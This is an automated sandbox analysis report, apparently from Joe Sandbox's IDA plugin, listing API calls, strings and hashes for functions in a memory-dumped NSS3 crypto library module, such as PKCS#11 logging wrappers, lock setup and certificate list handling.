{???}, xrefs: 6C64DE8B
%s%s, xrefs: 6C64DEEB

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: bd144e15da9d5b0ba41fbdf4ef7437fd43b683bba3839611104d01067e1bc3dc
Instruction ID: 860958eed33ceed9550696c9e4fb24f69227acccde508b52be184e60d30fc148
Opcode Fuzzy Hash: bd144e15da9d5b0ba41fbdf4ef7437fd43b683bba3839611104d01067e1bc3dc
Instruction Fuzzy Hash: B651B1B1E00105ABDB109F65DD45AAF7AB4EF85358F148429E809E7700EB31DD15CBE9

Function 6C67AF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6C67AF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C67AF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C67AF83

Part of subcall function 6C75D930: PL_strncpyz.NSS3(?,?,?), ref: 6C75D963

PR_LogPrint.NSS3(?,00000000), ref: 6C67AF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6C67AFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6C67AFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C67AFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C67B00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C67B028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6C67B041

Strings

pulSignatureLen = 0x%p, xrefs: 6C67B03C
C_SignMessage, xrefs: 6C67AF41
hSession = 0x%x, xrefs: 6C67AF5E, 6C67AF6E
nul, xrefs: 6C67B059, 6C67B093
ulParameterLen = 0x%p, xrefs: 6C67AFD4
ulDataLen = %d, xrefs: 6C67B00A
pParameter = 0x%p, xrefs: 6C67AFB9
pData = 0x%p, xrefs: 6C67AFEF
(CK_INVALID_HANDLE), xrefs: 6C67AF7C
pSignature = 0x%p, xrefs: 6C67B023

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage$nul
API String ID: 1003633598-2037562599
Opcode ID: 32f5926ab42f441512b7d2dd4ffab824acf9e1707a5f77e775960110346d9ec9
Instruction ID: 7a553c251548ace67a87b7a8d302ac8e4c54b41430d507c865a62e0b34c21488
Opcode Fuzzy Hash: 32f5926ab42f441512b7d2dd4ffab824acf9e1707a5f77e775960110346d9ec9
Instruction Fuzzy Hash: C241B575601144AFDB108F95EE4CE8E3BB1AB8330DF484434F90867A12DB309958DBAA

Function 6C682D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6C682DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6C682E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C682E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C682E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6C654F1C,?,-00000001,00000000,?), ref: 6C682E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6C654F1C,?,-00000001,00000000), ref: 6C682E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C682EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C682EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6C682EF8
PR_Unlock.NSS3(?), ref: 6C682F62
TlsGetValue.KERNEL32 ref: 6C682F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6C682F9E
PR_Unlock.NSS3(?), ref: 6C682FCA
TlsGetValue.KERNEL32 ref: 6C68301A
EnterCriticalSection.KERNEL32(?), ref: 6C68302E
PR_Unlock.NSS3(?), ref: 6C683066
PR_SetError.NSS3(00000000,00000000), ref: 6C683085
PR_Unlock.NSS3(?), ref: 6C6830EC
TlsGetValue.KERNEL32 ref: 6C68310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6C683124
PR_Unlock.NSS3(?), ref: 6C68314C

Part of subcall function 6C669180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6C69379E,?,6C669568,00000000,?,6C69379E,?,00000001,?), ref: 6C66918D
Part of subcall function 6C669180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6C69379E,?,6C669568,00000000,?,6C69379E,?,00000001,?), ref: 6C6691A0

Part of subcall function 6C6307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5C204A), ref: 6C6307AD
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5C204A), ref: 6C6307CD
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5C204A), ref: 6C6307D6
Part of subcall function 6C6307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5C204A), ref: 6C6307E4
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,6C5C204A), ref: 6C630864
Part of subcall function 6C6307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C630880
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,?,6C5C204A), ref: 6C6308CB
Part of subcall function 6C6307A0: TlsGetValue.KERNEL32(?,?,6C5C204A), ref: 6C6308D7
Part of subcall function 6C6307A0: TlsGetValue.KERNEL32(?,?,6C5C204A), ref: 6C6308FB

PR_SetError.NSS3(00000000,00000000), ref: 6C68316D

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 5e88da1bcd49a876dd9c156c4ca07f07a478f44d5a29fc0990dc40ab4ae14543
Instruction ID: 485478227261115a11dc05ddc9e8c71080e9fc3f64d4925236814458ed3302f7
Opcode Fuzzy Hash: 5e88da1bcd49a876dd9c156c4ca07f07a478f44d5a29fc0990dc40ab4ae14543
Instruction Fuzzy Hash: 87F17FB1D01209AFDF00DF64D888B9EBBB5BF0A318F144169EC05A7711EB31E995CBA5

Function 6C669FA0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C669FBE

Part of subcall function 6C642F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C642F0A
Part of subcall function 6C642F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C642F1D

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C66A015

Part of subcall function 6C681940: TlsGetValue.KERNEL32(00000000,00000000,?,00000001,?,6C68563C,?,?,00000000,00000001,00000002,?,?,?,?,?), ref: 6C68195C
Part of subcall function 6C681940: EnterCriticalSection.KERNEL32(?,?,6C68563C,?,?,00000000,00000001,00000002,?,?,?,?,?,6C65EAC5,00000001), ref: 6C681970
Part of subcall function 6C681940: PR_Unlock.NSS3(?,?,00000000,00000001,00000002,?,?,?,?,?,6C65EAC5,00000001,?,6C65CE9B,00000001,6C65EAC5), ref: 6C6819A0

PL_FreeArenaPool.NSS3(?), ref: 6C66A067
PR_CallOnce.NSS3(6C7A2AA4,6C6A12D0), ref: 6C66A055

Part of subcall function 6C5C4C70: TlsGetValue.KERNEL32(?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4C97
Part of subcall function 6C5C4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4CB0
Part of subcall function 6C5C4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5C3921,6C7A14E4,6C70CC70), ref: 6C5C4CC9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C66A07E
PR_CallOnce.NSS3(6C7A2AA4,6C6A12D0), ref: 6C66A0B1
PL_FreeArenaPool.NSS3(?), ref: 6C66A0C7
PL_FinishArenaPool.NSS3(?), ref: 6C66A0CF
PR_CallOnce.NSS3(6C7A2AA4,6C6A12D0), ref: 6C66A12E
PL_FreeArenaPool.NSS3(?), ref: 6C66A140
PL_FinishArenaPool.NSS3(?), ref: 6C66A148
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C66A158
PL_FinishArenaPool.NSS3(?), ref: 6C66A175
CERT_AddCertToListTail.NSS3(00000000,00000000), ref: 6C66A1A5
CERT_DestroyCertificate.NSS3(00000000), ref: 6C66A1B2
free.MOZGLUE(00000000), ref: 6C66A1C6
CERT_DestroyCertList.NSS3(00000000), ref: 6C66A1D6

Part of subcall function 6C6855E0: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,6C65EAC5,00000001,?,6C65CE9B,00000001,6C65EAC5,00000003,-00000004,00000000,?,6C65EAC5), ref: 6C685627
Part of subcall function 6C6855E0: PR_CallOnce.NSS3(6C7A2AA4,6C6A12D0,?,?,?,?,?,?,?,?,?,?,6C65EAC5,00000001,?,6C65CE9B), ref: 6C68564F
Part of subcall function 6C6855E0: PL_FreeArenaPool.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C65EAC5,00000001), ref: 6C685661
Part of subcall function 6C6855E0: PR_SetError.NSS3(FFFFE01A,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6C65EAC5), ref: 6C6856AF

Strings

security, xrefs: 6C66A00F

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Arena$Pool$CallFreeOnce$CertErrorFinishList$CriticalDestroyEnterInitSectionUnlockUtilValue$Alloc_Arena_CertificateTailfree
String ID: security
API String ID: 3250630715-3315324353
Opcode ID: 85f081e0e73cd158a71b6515a08b0f460a7c8493002642f36302267305ac76c3
Instruction ID: bbdc889074cff105a2c16170453c98221005be57375021c5a9c72c1b0f3f99f7
Opcode Fuzzy Hash: 85f081e0e73cd158a71b6515a08b0f460a7c8493002642f36302267305ac76c3
Instruction Fuzzy Hash: 8E51EA75E00215ABEB009BA6DC44BAEB374AF4670CF104125E815AAF42E771D949C7AF

Function 6C676D60 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6C676D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C676DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C676DC3

Part of subcall function 6C75D930: PL_strncpyz.NSS3(?,?,?), ref: 6C75D963

PR_LogPrint.NSS3(?,00000000), ref: 6C676DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C676DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C676E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6C676E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6C676E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6C676EB9

Strings

hSession = 0x%x, xrefs: 6C676D9E, 6C676DAE
pDigest = 0x%p, xrefs: 6C676E27
nul, xrefs: 6C676E61, 6C676E95
ulDataLen = %d, xrefs: 6C676E0E
pData = 0x%p, xrefs: 6C676DF5
pulDigestLen = 0x%p, xrefs: 6C676E42
C_Digest, xrefs: 6C676D81
(CK_INVALID_HANDLE), xrefs: 6C676DBC
*pulDigestLen = 0x%x, xrefs: 6C676EB4

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest$nul
API String ID: 1003633598-1692171180
Opcode ID: 931f5bf53d059ca12fcae053b30961ce24ea96320db26b595c5319466e1e0ae9
Instruction ID: 22d4fcb9b33c6858effbb6b795f0306b5e796a7db672204c4104db263a7e2264
Opcode Fuzzy Hash: 931f5bf53d059ca12fcae053b30961ce24ea96320db26b595c5319466e1e0ae9
Instruction Fuzzy Hash: 2341D675601004AFDB109FA5EE4DA8E3BB1AB8331DF444425F809A7A11DF30E959CBBA

Function 6C679C40 Relevance: 31.6, APIs: 9, Strings: 9, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6C679C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C679C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C679CA3

Part of subcall function 6C75D930: PL_strncpyz.NSS3(?,?,?), ref: 6C75D963

PR_LogPrint.NSS3(?,00000000), ref: 6C679CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C679CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C679CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C679D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C679D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C679D42

Strings

hSession = 0x%x, xrefs: 6C679C7E, 6C679C8E
pUsername = 0x%p, xrefs: 6C679D24
ulPinLen = %d, xrefs: 6C679D0B
ulUsernameLen = %d, xrefs: 6C679D3D
C_LoginUser, xrefs: 6C679C61
nul, xrefs: 6C679D5A, 6C679D91
pPin = 0x%p, xrefs: 6C679CF0
userType = 0x%x, xrefs: 6C679CD5
(CK_INVALID_HANDLE), xrefs: 6C679C9C

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser$nul
API String ID: 1003633598-3454362547
Opcode ID: 0d4d74c303ed599dfe89dbd7b81bce4803565b8c4b2085f635b8477b151eb0c8
Instruction ID: f11fc417de6aceb5243c32ca4580cd6aa800dab57737c04dbc2c448dfbc12c93
Opcode Fuzzy Hash: 0d4d74c303ed599dfe89dbd7b81bce4803565b8c4b2085f635b8477b151eb0c8
Instruction Fuzzy Hash: 6C41A172601144AFDB10DF95EE4CA8E3BF1AB4331EF844424E90967A12DB309918DBAA

Function 6C684C20 Relevance: 30.3, APIs: 20, Instructions: 290memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C684C4C
EnterCriticalSection.KERNEL32(?), ref: 6C684C60
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C684CA1
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C684CBE
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C684CD2
realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C684D3A
PORT_Alloc_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C684D4F
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C684DB7

Part of subcall function 6C6EDD70: TlsGetValue.KERNEL32 ref: 6C6EDD8C
Part of subcall function 6C6EDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6EDDB4

Part of subcall function 6C6307A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5C204A), ref: 6C6307AD
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5C204A), ref: 6C6307CD
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5C204A), ref: 6C6307D6
Part of subcall function 6C6307A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5C204A), ref: 6C6307E4
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,6C5C204A), ref: 6C630864
Part of subcall function 6C6307A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C630880
Part of subcall function 6C6307A0: TlsSetValue.KERNEL32(00000000,?,?,6C5C204A), ref: 6C6308CB
Part of subcall function 6C6307A0: TlsGetValue.KERNEL32(?,?,6C5C204A), ref: 6C6308D7
Part of subcall function 6C6307A0: TlsGetValue.KERNEL32(?,?,6C5C204A), ref: 6C6308FB

TlsGetValue.KERNEL32 ref: 6C684DD7
EnterCriticalSection.KERNEL32(?), ref: 6C684DEC
PR_Unlock.NSS3(?), ref: 6C684E1B
PR_SetError.NSS3(00000000,00000000), ref: 6C684E2F
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C684E5A
PR_SetError.NSS3(00000000,00000000), ref: 6C684E71
free.MOZGLUE(00000000), ref: 6C684E7A
PR_Unlock.NSS3(?), ref: 6C684EA2
TlsGetValue.KERNEL32 ref: 6C684EC1
EnterCriticalSection.KERNEL32(?), ref: 6C684ED6
PR_Unlock.NSS3(?), ref: 6C684F01
free.MOZGLUE(00000000), ref: 6C684F2A

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Value$CriticalSectionUnlock$Enter$Error$callocfree$Alloc_LeaveUtilrealloc
String ID:
API String ID: 759471828-0
Opcode ID: e535f8019fd59a22323c29dca1278016d95ec8dbe3b89c658f5e683643b51ea0
Instruction ID: d9c0b3c10086008ea879e93c136efb97c2e4ff77f8b3ebff3aa7d7956307fc5f
Opcode Fuzzy Hash: e535f8019fd59a22323c29dca1278016d95ec8dbe3b89c658f5e683643b51ea0
Instruction Fuzzy Hash: 51B13471A012059FDF00DF68D888BAA77B8BF4A318F044179ED0597B00EB70E965CBE9

Function 6C68FFB0 Relevance: 30.1, APIs: 20, Instructions: 68COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C68FFB4

Part of subcall function 6C7098D0: calloc.MOZGLUE(00000001,00000084,6C630936,00000001,?,6C63102C), ref: 6C7098E5

PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C68FFC6

Part of subcall function 6C7098D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C709946
Part of subcall function 6C7098D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5C16B7,00000000), ref: 6C70994E
Part of subcall function 6C7098D0: free.MOZGLUE(00000000), ref: 6C70995E

PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C68FFD6
PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C68FFE6
PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C68FFF6
PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C690006
PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C690016
PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C690026
PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C690036
PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C690046
PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C690056
PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C690066
PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C690076
PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C690086
PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C690096
PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C6900A6
PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C6900B6
PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C6900C6
PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C6900D6
PR_NewLock.NSS3(?,?,6C6876C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6575C2,00000000), ref: 6C6900E6

Memory Dump Source

Source File: 00000000.00000002.2101905541.000000006C5C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2101892260.000000006C5C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102016136.000000006C75F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102128178.000000006C79E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102143636.000000006C79F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102241668.000000006C7A0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2102257727.000000006C7A5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: fc12be29339ec17b4d7e74952ad83482c84b1f0902e72536eae002f3e9bd9f5f
Instruction ID: 6327bf9f860aa0198857818dedfd0122b50d3504092179f463e5ec4a9becf7f1
Opcode Fuzzy Hash: fc12be29339ec17b4d7e74952ad83482c84b1f0902e72536eae002f3e9bd9f5f
Instruction Fuzzy Hash: E231E4F0F06614AE8B49DFA7E64C14D3BF4B727A48B10553AE42C86B41D7B4094ACFD6

Function 6C6D6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6C6D6BF7), ref: 6C6D6EB6

Part of subcall function 6C631240: TlsGetValue.KERNEL32(00000040,?,6C63116C,NSPR_LOG_MODULES), ref: 6C631267
Part of subcall function 6C631240: EnterCriticalSection.KERNEL32(?,?,?,6C63116C,NSPR_LOG_MODULES), ref: 6C63127C
Part of subcall function 6C631240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C63116C,NSPR_LOG_MODULES), ref: 6C631291
Part of subcall function 6C631240: PR_Unlock.NSS3(?,?,?,?,6C63116C,NSPR_LOG_MODULES), ref: 6C6312A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6C77FC0A,6C6D6BF7), ref: 6C6D6ECD
